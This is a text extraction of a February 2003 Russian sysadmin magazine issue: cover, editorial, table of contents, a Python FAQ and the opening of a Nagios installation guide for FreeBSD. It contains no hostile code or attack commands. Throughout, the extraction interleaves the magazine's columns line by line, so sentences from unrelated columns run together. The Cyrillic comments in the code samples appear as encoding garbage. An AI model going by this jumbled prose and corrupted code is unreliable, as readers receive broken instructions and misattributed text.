Вы находитесь на странице: 1из 98

№2(3) февраль 2003

журнал для cистемных администраторов,


вебмастеров и программистов

Империя Cisco
Абсолютно все о
технологии ISDN
Практика OpenSSL
Создание
простейшей
биллинговой
системы
Пакетный фильтр
OpenLDAP и защита
данных
Безопасность
технологии
виртуальных карт
Кто такой «Системный администратор»?
Этот вопрос мне приходится слышать все чаще и чаще. Ответ оказывается далеко не триви-
альным, особенно при внимательном рассмотрении.
Первые ассоциации, возникающие у различных людей при этом вопросе: системный адми-
нистратор – «эникейщик», специальный человек, который бегает по офису и решает частые
тривиальные проблемы пользователей (сам термин возник в период различных версий DOS,
когда множество пользователей на надпись «Press any key to continue» нажимали на reset).
Зачастую это либо студенты – начинающие системные администраторы, либо люди, для ко-
торых системное администрирование не основное занятие (я на такой работе видел поэта). При
повышении профессионального уровня эти люди переходят в разряд выше.
Следующий тип системных администраторов – человек, отвечающий за работу оргтехники в
компании, обычно образование не ниже средне-специального, любит возиться с компьютерной
техникой, часто собирает и разбирает эти конструкторы. В довесок протягивает локальные сети.
В виде отдельной должности встречается в крупных компаниях.
«Зачем вы печатаете статьи про настройку ПО?», – пишут они в редакцию, – «печатайте про
настройку железа».
Другие системные администраторы возражают. Это как раз те люди, которые отвечают за
работоспособность системы, установку и настройку различных операционых систем.
Дальше эта группа делится на людей, склонных к программированию, и просто администра-
торов. Администраторы, получившие подготовку по программированию, стремятся быстро все
сделать руками, поправить неработающую процедуру установки, переписать некорректный
скрипт. Им легче в *nix-системах, особенно открытых. Другой тип стремится использовать спе-
циализированные утилиты, но вряд ли полезет внутрь программы «ради интереса». Им вполне
комфортно живется и под win-системами.
Последний тип администраторов – «гуру», «отец», «душа компании» – совмещает в себе зна-
ние «железа» и «софта», обычно склонен к программированию, одна из почти обязательных
сторон – веб-программирование. Написание и поддержка сайта на каком-либо скриптовом язы-
ке с использованием базы данных для него не является непосильной задачей. Попутно может
настроить сеть так, что к ней не надо будет прикасаться в течение года. И самое главное, он
может разговаривать с начальством. Может аргументированно обьяснить, почему требуется
модернизация, рассчитать, к каким выигрышам это приведет, к каким потерям приведет её от-
сутствие.
А как вы ответите на этот вопрос? Кто для вас «Системный админстратор»?
Ждем ваших ответов и пожеланий на форуме нашего сайта WWW.SAMAG.RU.
содержание

Установка Nagios Практика OpenSSL


Андрей Бешков Всеволод Стахов
tigrisha@sysadmins.ru CEBKA@smtp.ru
6 32
Восстановление загрузки операционной Почтовый фильтр или Milter = Mail + Filter
системы Linux Роман Сузи
Андрей Шевченко rnd@onego.ru
andy_shev@mail.ru 38
15
Создание простейшей биллинговой системы
Империя Cisco Денис Мясниченко
Денис Еланский velial@trophy.com.ua
grosm@samag.ru 42
16
Устанавливаем Multiple-Device-дозвон в
Абсолютно все о технологии ISDN Windows XP
Сергей Ропчан Татьяна Антипова
fenix@sit-ua.com antipova@samag.ru
20 47
Как пингвин говорит по телефону, Мифы и легенды современной ОCологии…
или или
Настройка dialin-сервера для доступа в «ОС – это большой полосатый мух?»
Интернет и аварийной консоли Александр Потемкин
Андрей Мозговой apotemkin@itinfo.spb.ru
brain@m9.ru 48
26
2
содержание

Брандмауэр (часть II) OpenLDAP и защита данных


Владимир Мешков Всеволод Стахов
ubob@mail.ru CEBKA@smtp.ru
54 74
Пакетный фильтр Безопасность технологии виртуальных карт
Владимир Мешков Сергей Ропчан
ubob@mail.ru fenix@sit-ua.com
60 86
Java: магия отражений (часть III) IMHO
Компиляция Java средствами Java
Даниил Алиевский Этика сисадмина
daniel@siams.com Андрей Гуселетов
64 gus@horizont.com.ua
90
FAQ Python
4, 93
FAQ MySQL
25
BUGTRAQ
85, 89, 94

№2(3), февраль 2003 3


FAQ Python

ВОПРОС: ОТВЕТ:
Python распространяется по лицензии программного Объекты списка, участвующие в репликации, копиру-
обеспечения с открытым исходным кодом, а можно ли для ются поверхностно. Таким образом, список l состоит из двух
него писать коммерческие программы? «ссылок» на один и тот же объект. Соответственно, изме-
нение этого объекта дает такой неожиданный результат.
ОТВЕТ:
Лицензия на Python не ограничивает его использова-
ния в каких-либо проектах. Если в вашем продукте ис- ВОПРОС:
пользован Python, достаточно указать этот факт как в Есть ли в Python тип данных массив?
самом продукте, так и в сопровождающей его докумен-
тации. Подробности в лицензии. ОТВЕТ:
Обычно в Python используется более гибкая встроен-
ная структура данных – список. Если вам действительно
ВОПРОС: нужны массивы, в стандартной библиотеке Python есть
Как превратить шестнадцатеричное представление IP- модуль array для работы с массивами чисел и символов.
адреса в строку байт? В «точечное» представление? Для эффективной работы с массивами данных лучше ис-
пользовать пакет Numeric Python. Его можно найти на http:/
ОТВЕТ: /numpy.sourceforge.net.
import binascii binascii.a2b_hex(“E786AA80”)
«.».join(map(str, map(ord, binascii.a2b_hex(“E786AA80”))))

Примечание: функция map(f, s) применяет функцию f ВОПРОС:


к каждому элементу последовательности s. В Python нет встроенного типа данных для множеств.
Чем можно его заменить?

ВОПРОС: Как из Python узнать IP-адрес хоста? ОТВЕТ:


Множества можно легко эмулировать с помощью
ОТВЕТ: словарей:
import socket socket.gethostbyname(“www.host.ru”) # èíèöèàëèçèðóåì äâà ìíîæåñòâà # (ïîâòîðû áóäóò àâòîìàòè-
÷åñêè óáðàíû, # òàê êàê îäíîìó êëþ÷ó ìîæåò ñîîòâåòñòâîâàòü #
òîëüêî îäíî çíà÷åíèå) set = {} for e in [1,2,3,4,1,5,6,1,4]:
set[e] = 1 set1 = {} for e in [3,4,5,6]: set1[e] = 1
set.keys() # ñïèñîê ýëåìåíòîâ ìíîæåñòâà set.has_key(5)
ВОПРОС: # ïðîâåðêà ïðèíàäëåæíîñòè ìíîæåñòâó set.update(set1) #
С помощью какой функции можно проверить существо- îáúåäèíåíèå ìíîæåñòâ (ðåçóëüòàò â set)
# ïåðåñå÷åíèå ìíîæåñòâ: set2 = {} for e in set.keys(): if
вание файла или каталога? set1.has_key(e): set2[e] = 1

ОТВЕТ: Кроме того, класс множество с различными операци-


import os if os.access(«/path/to/file», os.F_OK): # ôàéë ями можно легко запрограммировать. См., например, ре-
äîñòóïåí
цепт на http://aspn.activestate.com/ASPN/Cookbook/Python/
Recipe/106469.
ВОПРОС:
Как убрать проценты из записи URL?
ВОПРОС:
ОТВЕТ: Как вставить в строку значения переменных по анало-
import urllib urllib.unquote(«http://www.host.ru/ гии с «$var» в Perl или sh?
%61%62%63»)

ОТВЕТ:
ВОПРОС: Можно использовать операцию форматирования и сло-
Как в Python 2.x изменить кодировку текста в строке? варь переменных vars() следующим образом (для иллюс-
трации команды выполнены в диалоговом режиме интер-
ОТВЕТ: претатора Python):
Например, перекодировку из KOI8-R в CP1251 можно >>> a, b, c = 2, «text», 12.4 >>> print «»»a: %(a)05i, b:
%(b)s, c: %(c)8.2f»»» % vars() a: 00002, b: text, c:
сделать посредством Unicode: 12.40
unicode(«ÂÎÏÐÎÑ», «koi8-r»).encode(«cp1251») Для строкового литерала были использованы утроен-
ные кавычки: это позволяет использовать внутри строки
одиночные кавычки и апострофы без дополнительного эк-
ВОПРОС: ранирования, а также задавать текст на нескольких стро-
Почему получается такой результат? ках.
>>> l = [[0]*2]*2 >>> l [[0, 0], [0, 0]] >>> l[0][0] = 1
>>> l [[1, 0], [1, 0]]
Составил Роман Сузи

4
администрирование

УСТАНОВКА NAGIOS
АНДРЕЙ БЕШКОВ
С увеличением размера подконтрольных сетей перед каждым администратором встает вопрос о
создании единой системы мониторинга серверов и сервисов. Внедрение такой системы позволит
повысить производительность работы компании и уменьшить время простоя оборудования.
Несмотря на свои неоспоримые достоинства, коммерческие системы вроде Solar Winds, 3COM
Network Superviser и HP OpenView в данной статье рассматриваться не будут из-за своих довольно
высоких цен. В Сети существует множество бесплатных систем мониторинга. Наиболее
известными являются Nagios, Big Brother, Angel Network Monitor, HiWayS, MARS, Autostatus,
NocMonitor, RITW. Для выполнения вышеописанной задачи мы будем использовать инструмент по
имени Nagios.

Давайте рассмотрим главные зада-  Можно следить за использовани- ладок в работе промежуточных зве-
чи системы мониторинга. Она дол- ем ресурсов серверов, таких как ньев. Nagios умеет строить графики
жна оповещать администратора с расход дискового пространства, работы наблюдаемых систем и карты
помощью электронной почты, пейд- свободная память и загруженность контролируемой сетевой инфраструк-
жера или sms-сообщений, если с на- процессора. туры.
блюдаемыми объектами случаются  Существует возможность созда- Из своей практики работы с Nagios
какие-либо неприятности. Также вать свои собственные обработчи- приведу пример, показывающий, на-
оповещения должны отсылаться, ки событий. сколько полезен он оказался для
когда состояние объекта возвра- меня. На внешнем сетевом интерфей-
щается в норму. Вдобавок ко всем Эти обработчики будут выполнять- се нашего брандмауэра с периодич-
способам, перечисленным выше, ся при возникновении тех или иных ностью в несколько часов начиналась
Nagios позволяет использовать в ка- событий, инициированных провер- потеря пакетов. Из-за неисправности
честве инструмента оповещения ками сервисов или серверов. Такой терялось до 20% проходящего трафи-
программы, разработанные пользо- подход позволит активно реагиро- ка. По истечении минуты-другой ин-
вателями. Перед тем как мы станем вать на происходящие события и терфейс снова начинал работать как
более подробно обсуждать возмож- пытаться автоматически решать положено. По причине плавающего
ности Nagios, вам стоит посмотреть возникшие проблемы. К примеру, характера этой неполадки несколько
на демонстрационную систему, ко- можно создать обработчик событий, недель я не мог понять, почему при
торую Tom Welsh установил специ- который будет самостоятельно пе- работе с Интернетом периодически
ально для этих нужд. Быстренько резапускать повисший сервис. происходят кратковременные сбои.
идем на сайт http://nagios.square- Еще одним достоинством системы Без Nagios поиск неисправности за-
box.com/. Для авторизации исполь- мониторинга Nagios является возмож- тянулся бы надолго.
зуем имя пользователя guest и па- ность управлять ею удаленно с помо- Многим из администраторов хоро-
роль guest. Набродившись по раз- щью wap-интерфейса мобильного те- шо знаком предок Nagios по имени
ным меню и полюбовавшись на все лефона. Используя концепцию “роди- NetSaint. Несмотря на то что сайт про-
красоты веб-интерфейса, давайте тельских” хостов, легко описать екта NetSaint все еще исправно фун-
поговорим о достоинствах Nagios. иерархию и зависимости между все- кционирует, новые разработки бази-
На основе увиденного мы можем ми хостами. Такой подход чрезвычай- руются уже на исходном коде Nagios.
сделать выводы: но полезен для больших сетей, пото- Поэтому всем рекомендуется поти-
 Nagios позволяет производить мо- му что позволяет производить слож- хоньку перебираться на Nagios. Изна-
ниторинг таких сетевых сервисов, ную диагностику. А это качество, в чально проект разрабатывался для
как SMTP, TELNET, SSH, HTTP, свою очередь, помогает отличить не- Linux, но наша система мониторинга
DNS, POP3, IMAP, NNTP и многих работающие хосты от тех, что недо- будет работать на основе FreeBSD
других. ступны в данный момент из-за непо- 4.5. В документации, поставляемой с

6
администрирование
Nagios, говорится, что он будет ста- сжатия изображений. Берем новей- Filter 3 was used 10 times
бильно работать и со многими други- шую версию http://www.gzip.org/zlib/. Filter 4 was used 33 times
tIME = 7 Jun 1996 17:58:08 +0000
ми Unix-подобными системами. Для На момент написания это была 1.1.4. Current memory allocation:
отображения веб-интерфейса Nagios Распаковываем и компилируем. 0 bytes
Maximum memory allocation:
нам понадобится сервер Apache. Вы 337346 bytes
вольны использовать любой другой, Total memory allocation:
# tar zvxf zlib-1.1.4.tar.gz 1023516 bytes
но в данной статье будет рассматри- # cd zlib-1.1.4 Number of allocations:
# ./configure 198
ваться именно Apache, как наиболее # make test libpng passes test
распространенный на Unix-платфор- # make install mkdir /usr/local/include/libpng
мах веб-сервер. Можно установить
систему мониторинга вообще без веб- Как вы могли бы предположить, И наконец, пришло время инстал-
интерфейса, но мы так делать не ста- LibPng служит для создания изобра- ляции. Тут уж все должно пройти лег-
нем, потому что это существенно жений в формате PNG. Я использо- ко и просто.
уменьшает удобство пользования. вал версию 1.2.5. Взять ее можно на
Для создания графиков нам пона- сайте: http://www.graphicswiz.com/ # make install
добится библиотека GD Graphics, ко- png/libpng.html.
торую написал Thomas Boutell. Она Собирается LibPng довольно-таки Теперь берем по адресу http://
необходима для создания изображе- странным и нестандартным путем. www.ijg.org/files/ библиотеку jpeg
ний в формате PNG, JPEG и WBMP. версии 6b. Я надеюсь, самые догад-
WBMP чаще всего используется кли- # tar zxvf libpng-1.2.5.tar.gz ливые читатели уже поняли, что она
ентами беспроводных устройств. По- # cd libpng-1.2.5 понадобится нам для создания изоб-
давляющее большинство браузеров ражений в формате jpeg. Поверив
пока не умеет работать с WBMP, по- Ориентируясь на тип операцион- моим заявлениям о том, что проце-
этому для нас он интереса не пред- ной системы, из директории scripts дура установки довольно проста,
ставляет. До перехода на версию 2.0.6 выбираем нужный нам makefile и ко- начнем ее выполнение.
была возможность работать с форма- пируем его в директорию с исходны-
том GIF, но от нее пришлось отказать- ми файлами. Для нашего случая ис- # tar zxvf jpegsrc.v6b.tar.gz
# cd jpeg-6b
ся из-за проблем с патентным зако- ходный файл называется make- # ./configure
нодательством. Для сжатия информа- file.freebsd. # make
ции внутри изображений GIF исполь-
зуется алгоритм LZW. Эксклюзивны- # cp ./scripts/makefile.freebsd После тестовой сборки должны
ми правами на него обладает Unisys. makefile увидеть такую картину:
В связи с вышеуказанными пробле-
мами, сетевому сообществу рекомен- Затем создаем директорию zlib и # make test
rm -f testout*
дуется использовать свободные от кладем в нее из дистрибутива zlib все ./djpeg -dct int -ppm -outfile
подобных неудобств форматы PNG и файлы с расширением *.h: testout.ppm ./testorig.jpg
./djpeg -dct int -bmp -colors 256
JPEG. В свою очередь, библиотека GD -outfile testout.bmp ./testorig.jpg
опирается на библиотеки zlib, LibPng # mkdir zlib ./cjpeg -dct int -outfile
testout.jpg ./testimg.ppm
и jpeg. У нас есть три пути, следуя ./djpeg -dct int -ppm -outfile
которым мы можем установить все Вот теперь можно проводить компи- testoutp.ppm ./testprog.jpg
./cjpeg -dct int -progressive -opt
необходимые библиотеки. В статье ляцию. Что мы с радостью выполняем. -outfile testoutp.jpg ./testimg.ppm
они будут подробно описаны по оче- ./jpegtran -outfile testoutt.jpg ./
testprog.jpg
реди. Я люблю все собирать и уста- # make all cmp ./testimg.ppm testout.ppm
навливать вручную, потому как подоб- # make test cmp ./testimg.bmp testout.bmp
cmp ./testimg.jpg testout.jpg
ный подход дает более полное пони- cmp ./testimg.ppm testoutp.ppm
мание происходящих процессов и воз- В результате на экране вы долж- cmp ./testimgp.jpg testoutp.jpg
cmp ./testorig.jpg testoutt.jpg
можность использовать самое свежее ны увидеть что-то вроде этого:
программное обеспечение. Итак, нач- Следующей командой устанавли-
нем нашу эпопею со способа, красно- Testing pngtest.png: ваем библиотеку jpeg.
Pass 0: rwrwrwrwrwrwrwrwrw
речиво называемого в народе «закат Pass 1: rwrwrwrwrwrwrwrwrw
солнца вручную». Pass 2: rwrwrwrwrwrwrwrw # make install
Pass 3: rwrwrwrwrwrwrwrwrwrwrwrwrw
Первый ингредиент – библиотека rwrwrwrwrw
zlib, написанная двумя программиста- Pass 4: rwrwrwrwrwrwrwrwrwrwrwrwrw Наконец, после всех этих мы-
rwrwrwrwrw
ми – Jean-loup Gailly и Mark Adler. Она Pass 5: rwrwrwrwrwrwrwrwrwrwrwrwrw тарств, можно заняться инсталля-
проектировалась как API общего на- rwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrw цией библиотеки GD. Скачиваем
Pass 6: rwrwrwrwrwrwrwrwrwrwrwrwrw
значения для сжатия данных без по- rwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrwrw исходные тексты с сайта проекта
терь. Как ни странно, но в нашем про- PASS (9782 zero samples) http://www.boutell.com/gd/. Как все-
Filter 0 was used 21 times
екте она будет использоваться по сво- Filter 1 was used 15 times гда, распаковываем и конфигуриру-
ему прямому назначению, то есть для Filter 2 was used 52 times ем дистрибутив.

№2(3), февраль 2003 7


администрирование
# tar zxvf gd-2.0.6.tar.gz обеспечения. В CD-привод кладем Теперь нужно решить, в какой ка-
# cd gd-2.0.6
компакт диск с пакетами и запуска- талог мы хотим инсталлировать
# ./configure --x-includes=/usr/ ем программу sysinstall. Nagios. По умолчанию предполагает-
local/include --x-libraries=/usr/
local/lib ся каталог /usr/local/nagios/. Думаю,
# /stand/sysinstall нам тоже стоит придерживаться его,
Ключи –x-includes и –x-libraries ука- потому что в прилагающейся к дист-
зывают скрипту конфигурации, где у А затем, последовательно пройдя рибутиву документации указан имен-
нас находятся заголовочные и биб- через все перечисленные ниже меню, но этот каталог. При последующем
лиотечные файлы всех установлен- выполняем инсталляцию. устранении ошибок или проблем с кон-
ных ранее библиотек. фигурированием будет гораздо проще
Configure->Packages->CD/DVD- читать документацию. Создаем ката-
# make all >graphics->gd-1.8.4_3->ok->install->ok лог, куда мы впоследствии будем про-
водить инсталляцию. Не совсем понят-
Если компиляция завершилась с Аналогичного эффекта можно до- но, почему ее должен создавать адми-
ошибками, то нам необходимо уда- биться, используя команду pkg_add. нистратор, а не программа инсталля-
лить временные файлы, созданные в Посмотрим, куда у нас все это уста- ции. Надеюсь, в следующих версиях
процессе работы команды make. новилось. Файлы библиотек лежат этот недочет будет исправлен.
в /usr/local/lib, а заголовочные фай-
# make devclean лы в – /usr/local/include/gd. Не стоит # mkdir /usr/local/nagios
огорчаться, если, несмотря на все
После выполнения чистки нужно попытки, библиотеку GD не удалось С помощью скрипта adduser либо
принять меры к устранению причин установить ни одним из трех спосо- каким-нибудь другим способом созда-
возникновения ошибок. При необхо- бов. Хотя я с трудом представляю, ем пользователя nagios, состоящего
димости подправьте ключи команды как такое возможно. Отложите уста- в группе nagios.
configure, а затем проведите повтор- новку до лучших времен. Наличие
ную компиляцию. И если предыдущие вышеназванных библиотек необхо- # adduser nagios
шаги завершились нормально, запус- димо только для правильной рабо- # ./configure --prefix=/usr/local/
каем инсталляцию. ты модулей построения графиков и nagios --with-cgi-url=/nagios/cgi-bin
--with-html-url=/nagios/ \
генерирования сетевой карты. --with-nagios-user=nagios --with-
# make install Nagios работает стабильно и оста- nagios-grp=nagios --with-gd-lib=/usr/
local/lib \
ется очень полезным инструментом --with-gd-inc=/usr/local/include/gd
Теперь давайте обсудим второй даже без этих модулей.
способ установки. При наличии устой- Пришло время детально разоб- Давайте быстренько разберемся с
чивого соединения с Интернетом мож- раться с архитектурой системы мони- назначением используемых при кон-
но попытаться установить библиоте- торинга. Обычно комплекс на основе фигурировании ключей.
ки GD, zlib, LibPng и jpeg с помощью Nagios состоит из двух частей: глав-  —prefix=/usr/local/nagios – сюда
механизма портов. Мы запустим ус- ной программы, в документации чаще мы будем устанавливать файлы
тановку GD, а она, в свою очередь, всего называемой core program, и под- после компиляции. Вот и пригоди-
автоматически выполнит скачивание, ключаемых модулей, соответственно лась созданная вручную директо-
компиляцию и установку всех необхо- plugins. Модульный дизайн позволяет рия /usr/local/nagios.
димых библиотек на основе зависи- отделить логику основной программы  —with-cgi-url=/nagios/cgi-bin – URL,
мостей между ними. от процесса выполнения проверок. с помощью которого мы будем об-
Это, в свою очередь, дает возмож- ращаться к CGI-скриптам веб-ин-
# cd /usr/ports/graphics/gd ность всем желающим без особых терфейса nagios. В конце URL сим-
# make install усилий расширять область примене- вол «/» добавлять не нужно. В ка-
ния Nagios через написание собствен- честве примера для вымышленно-
Третий способ установки не тре- ных подключаемых модулей. го сайта somesite.ru можно приве-
бует подключения к сети Интернет. Скачиваем последнюю версию сти абсолютный URL одного из
Скорее всего, он является самым главной программы и подключаемых CGI-скриптов httt://somesite.ru/
простым и, видимо, лучше всего модулей с официального сайта про- nagios/cgi-bin/statusmap.cgi.
подходит для начинающих админи- екта http://www.nagios.org/download.  —with-html-url=/nagios/ – URL, где
страторов. Как и во втором спосо- На момент написания статьи были будут находиться html-файлы, в ко-
бе, все необходимое будет автома- доступны версии nagios-1.0b6 и торых хранятся главное меню веб-
тически установлено из пакетов, по- nagiosplug-1.3-beta1. Засучив рукава, интерфейса и документация.
ставляющихся вместе с операцион- приступим к установке главной про-  —with-nagios-user=nagios – пользо-
ной системой FreeBSD. По аналогии граммы. ватель, которому будут принадле-
со вторым способом за удобство жать файлы инсталляции.
придется заплатить свежестью ус- # tar zxvf nagios-1.0b6.tar.gz  —with-nagios-grp=nagios – соответ-
танавливаемого программного # cd nagios-1.0b6 ственно группа этого пользователя.

8
администрирование
 —with-gd-lib=/usr/local/lib – тут у нас *** Error code 67 Внесенными изменениями мы за-
лежит библиотека GD. Stop in /tmp/nagios-1.0b6. ставляем nagios.sh, запущеный без
 —with-gd-inc=/usr/local/include/gd – обязательных параметров, рекурсив-
а здесь находятся ее заголовоч- Жаль, но установка с наскоку не но выполнить самого себя с парамет-
ные файлы. удалась. Ну и ладно, вот исправим ром start.
ошибки программистов, писавших Еще одна ошибка – это путь к фай-
Осмыслив все прочитанное и разоб- скрипт, и все заработает как надо. С лу, в котором будут храниться вне-
равшись с опциями команды configure, помощью любимого текстового редак- шние команды, переданные на выпол-
проводим сборку и инсталляцию. тора начинаем редактировать файл нение процессу Nagios. После инстал-
Makefile. Идем на строку 32 и ищем ляции подразумевается, что файл
# make all символы: должен располагаться в /usr/local/
# make install nagios/var/rw/nagios.cmd. Но, к сожа-
INIT_OPTS=-o root -g root лению, директория /usr/local/nagios/
Следующий шаг является необя- var/rw/ автоматически не создается. К
зательным, но желательно его все Обдумав увиденную строку, по- тому же не совсем понятен смысл со-
же выполнить. С помощью команды нимаем, что под FreeBSD пользова- здания отдельной директории для
make install-init можно создать тель root входит в группу wheel. Вно- единственного файла nagios.cmd.
скрипт, который будет выполнять за- сим изменения. Чтобы исправить вышеуказанную
пуск Nagios после перезагрузки сис- ошибку, ищем строку:
темы. Вдобавок к этому у нас появит- INIT_OPTS=-o root -g wheel
ся возможность управлять работой NagiosCmd=${prefix}/var/rw/
процесса Nagios с помощью команд Переходим на строку 154: nagios.cmd
stop, reload, start, restart, reload,
force-reload. Давайте подробнее рас- $(INSTALL) -m 774 $(INIT_OPTS) и заменяем ее на такую:
daemon-init $(DESTDIR)$(INIT_DIR)/
смотрим каждую из этих команд: nagios
 start – запускает процесс Nagios; NagiosCmd=${prefix}/var/nagios.cmd
 stop – останавливает текущий про- Правильно задаем имя файла
цесс Nagios; nagios.sh вместо nagios. Не стоит да- Теперь файл nagios.cmd будет со-
 restart – останавливает выполня- вать общий доступ на чтение для фай- здаваться в директории /usr/local/
ющийся процесс Nagios и запус- ла скрипта. Вполне хватит режима nagios/var/.
кает новый; доступа 100. Измененная строка бу- К сожалению, это не последняя
 reload – отправляет процессу Nagios дет выглядеть так: проблема, связанная с файлом
сигнал SIGHUP, заставляя его пере- nagios.cmd. При каждом перезапуске
читать конфигурационные файлы, а $(INSTALL) -m 100 $(INIT_OPTS) процесса Nagios файл внешних ко-
daemon-init $(DESTDIR)$(INIT_DIR)/
затем продолжить мониторинг; nagios.sh манд сначала удаляется, а затем со-
 force-reload – производит принуди- здается вновь. Беда в том, что созда-
тельную перезагрузку конфигура- Сохраняем файл и снова выполня- ется nagios.cmd с правами процесса.
ционных файлов; ем команду инсталляции. Соответственно, он принадлежит
 status – показывает статус рабо- пользователю nagios и группе nagios.
тающего процесса. # make install-init На первый взгляд, здесь нет никакой
проблемы. Поразмышляв некоторое
Для FreeBSD файл скрипта должен Итак, скрипт автозапуска создан, время, мы понимаем, что главным
располагаться в директории /usr/local/ но он все еще не готов к работе. Все поставщиком внешних команд для
etc/rc.d и называться nagios.sh. В зави- дело в том, что при перезагрузке процесса Nagios будет веб-интер-
симости от типа операционной систе- файл nagios.sh будет выполнен без фейс. Сервер Apache обычно запус-
мы, инсталлятор должен сам выбрать единого параметра командной стро- кается с правами пользователя
подходящие права доступа, местополо- ки, а для безукоризненной работы nobody группы nogroup. А это значит,
жение и имя скрипта. Например, для нужно запускать его с параметром что процесс веб-сервера не сможет
систем на основе Slackware должны по- start. Сейчас мы это исправим. От- вносить новые данные в файл
лучить соответственно /etc/rc.d/init.d и крываем файл для редактирования nagios.cmd. Самым простым решени-
rc.nagios. Ну что же, давайте попыта- и выполняем поиск строки: ем было бы дать доступ на запись
емся выполнить установку скрипта. всем, но с точки зрения безопаснос-
echo "Usage: nagios ти такое решение выглядит довольно
{start|stop|restart|reload|force-
# make install-init reload|status}" неприглядно. Вторым способом раз-
решения конфликта могло бы стать
Получаем следующие ошибки: Затем сразу после нее вставляем введение пользователя nobody в груп-
вот это: пу nagios. Но с безопасностью опять
/usr/bin/install -c -m 755 -d -o возникают неувязки. Самым лучшим
root -g root /usr/local/etc/rc.d /usr/local/etc/rc.d/nagios.sh start
install: unknown group root выходом из этой ситуации является

№2(3), февраль 2003 9


администрирование
частичная передача прав на файл возникновение проблем с конфигури- # check_dns -h
check_dns (nagios-plugins 1.3.0-
пользователю nobody. В результате рованием, да и свежесть установлен- alpha1) 1.1.1.1
такой операции файлом должен вла- ного программного обеспечения бу- The nagios plugins come with
ABSOLUTELY NO WARRANTY. You may
деть пользователь nobody и группа дет весьма сомнительна. Еще одной redistribute copies of the plugins
nagios. Таким образом, доступ к фай- причиной не использовать порты ста- under the terms of the GNU General
Public License.
лу получат и процесс nagios, и веб- ло желание заняться русификацией For more information about these
сервер. Ищем в файле nagios.sh вот системы. Подробнее о результатах matters, see the file named COPYING.
Copyright (c) 1999 Ethan Galstad
такие строки: этого эксперимента будет рассказа- (nagios@nagios.org)
но в следующей статье.
Usage: check_dns -H host [-s
sleep 1 Несмотря на то что инсталляция server] [-t timeout]
status_nagios nagios главной программы закончена, тол- check_dns --help
check_dns --version
ку нам от этого пока никакого. Без
и добавляем сразу за ними команду: установленных модулей Nagios со- -H, --hostname=HOST
The name or address you want to
вершенно бесполезен, так как не query
chown nobody $NagiosCmd имеет возможности взаимодейство- -s, --server=HOST
Optional DNS server you want to
вать с объектами, за которыми нуж- use for the lookup
Покончив с файлом nagios.sh, мож- но наблюдать. Настало время при- -t, --timeout=INTEGER
Seconds before connection times
но быть уверенным, что уж теперь-то няться за инсталляцию этих самых out (default: 10)
он будет работать как положено. модулей. С помощью make, постав- -h, --help
Print detailed help
Заглянув в директорию /usr/local/ лявшегося вместе с операционной -V, --version
nagios/, мы видим, что после инстал- системой, собрать их не удалось. Print version numbers and
license information
ляции внутри нее образовалось еще Посему для компиляции будем
5 директорий. пользоваться gmake. This plugin uses the nslookup program
to obtain the IP address for the given
host/domain query. A optional DNS
# ls /usr/local/nagios # tar zxvf nagiosplug-1.3- server to use may be specified. If no
bin etc sbin share var beta1.tar.gz DNS server is specified, the default
# cd nagiosplug-1.3-beta1 server(s) specified in /etc/resolv.conf
# ./configure --prefix=/usr/local/ will be used.
nagios --with-nagios-user=nagios --
Опишем, для чего нужна каждая with-nagios-grp=nagios
из этих директорий: Прочитав и обдумав вывод преды-
 bin – здесь находится выполняе- Значение ключей конфигурации дущей команды, можно понять, что мо-
мый файл основной программы. аналогично тем, что мы использова- дуль check_dns принимает один обя-
Он же демон Nagios; ли при компиляции главной програм- зательный параметр –H и два необя-
 etc – конфигурационные файлы; мы. Почитать детальные объяснения зательных параметра -s, -t. Итак, по по-
 sbin – тут лежат файлы CGI для о назначении каждого ключа можно с рядку: –H – имя или адрес проверяе-
веб-интерфейса; помощью команды ./configure –help. мого хоста. В параметре -s определя-
 share – здесь находятся html-фай- ется адрес сервера DNS, используемо-
лы веб-интерфейса и документа- # gmake all го для перевода имени в адрес, если в
ция; # gmake install первом параметре вместо адреса пе-
 var – файлы протоколов и данные редано имя хоста. Затем -t устанавли-
о состоянии проверяемых объек- После компиляции подключаемые вает тайм-аут, по истечении которого
тов. модули устанавливаются в директо- служба считается нефункционирую-
рию /usr/local/nagios/libexec. Некото- щей. Для проверки сервиса DNS ма-
С помощью команды make install- рые из них написаны на С, другие на шины с адресом 192.168.10.254 нуж-
config создаем файлы конфгурации, perl. В принципе модуль может быть но выполнить следующую команду:
заполняем их значениями по умолча- написан на любом языке. Каждый
нию и помещаем в директорию /usr/ модуль является выполняемым фай- # check_dns -H 192.168.10.254
DNS ok - 0 seconds response time,
local/nagios/etc/. лом. Это дает возможность исполь- Address(es) is/are 192.168.10.254
зовать модули не только в комплек-
# make install-config се с Nagios, но и с другими програм- Инт уиция с транным образом
мами. Можно выполнять проверки подсказывает мне, что DNS рабо-
Можете поздравить себя с оконча- даже из командной строки. Каждый тает нормально.
нием установки главной программы модуль должен поддерживать опцию Закончив установку и разобрав-
Nagios. Можно было сделать все то же –help или -h, иначе он не может счи- шись с механизмом работы подклю-
самое с помощью портов или пакетов. таться совместимым с Nagios. Такие чаемых модулей, перейдем к на-
К сожалению, на такой способ уста- жесткие требования позволяют лег- стройке Nagios. Давайте осмотрим
новки времени у меня не хватило. По- ко разобраться с любым модулем. содержимое директории конфигура-
этому сказать об удобстве или под- Давайте посмотрим, какие парамет- ционных файлов.
водных камнях такого пути ничего не ры командной строки должен полу-
могу. Есть подозрение, что возможно чать модуль check_dns. # cd /usr/local/nagios/etc

10
администрирование
# ll -rw-rw-r-- 1 nagios nagios 1594 # Ññûëêà íà èñïîëüçóåìûé øàáëîí
total 92 Nov 11 16:13 timeperiods.cfg host_name mail
-rw-rw-r-- 1 nagios nagios 17028 # Èìÿ õîñòà
Nov 11 15:41 cgi.cfg-sample К сожалению, файлы все еще не alias Mail Server
-rw-rw-r-- 1 nagios nagios 4480 # Ïñåâäîíèì õîñòà
Nov 11 15:41 checkcommands.cfg-sample готовы к употреблению. Nagios даже address mail.regata.ru
-rw-rw-r-- 1 nagios nagios 1577 не сможет стартовать, если мы попы- # Èìÿ õîñòà â ôîðìàòå fqdn èëè åãî
Nov 11 15:41 contactgroups.cfg-sample # àäðåñ
-rw-rw-r-- 1 nagios nagios 1485 таемся его запустить. Разобраться в check_command check-host-alive
Nov 11 15:41 contacts.cfg-sample содержимом файлов-примеров, со- # Êîìàíäà ïðîâåðêè õîñòà âûïîëíÿåòñÿ
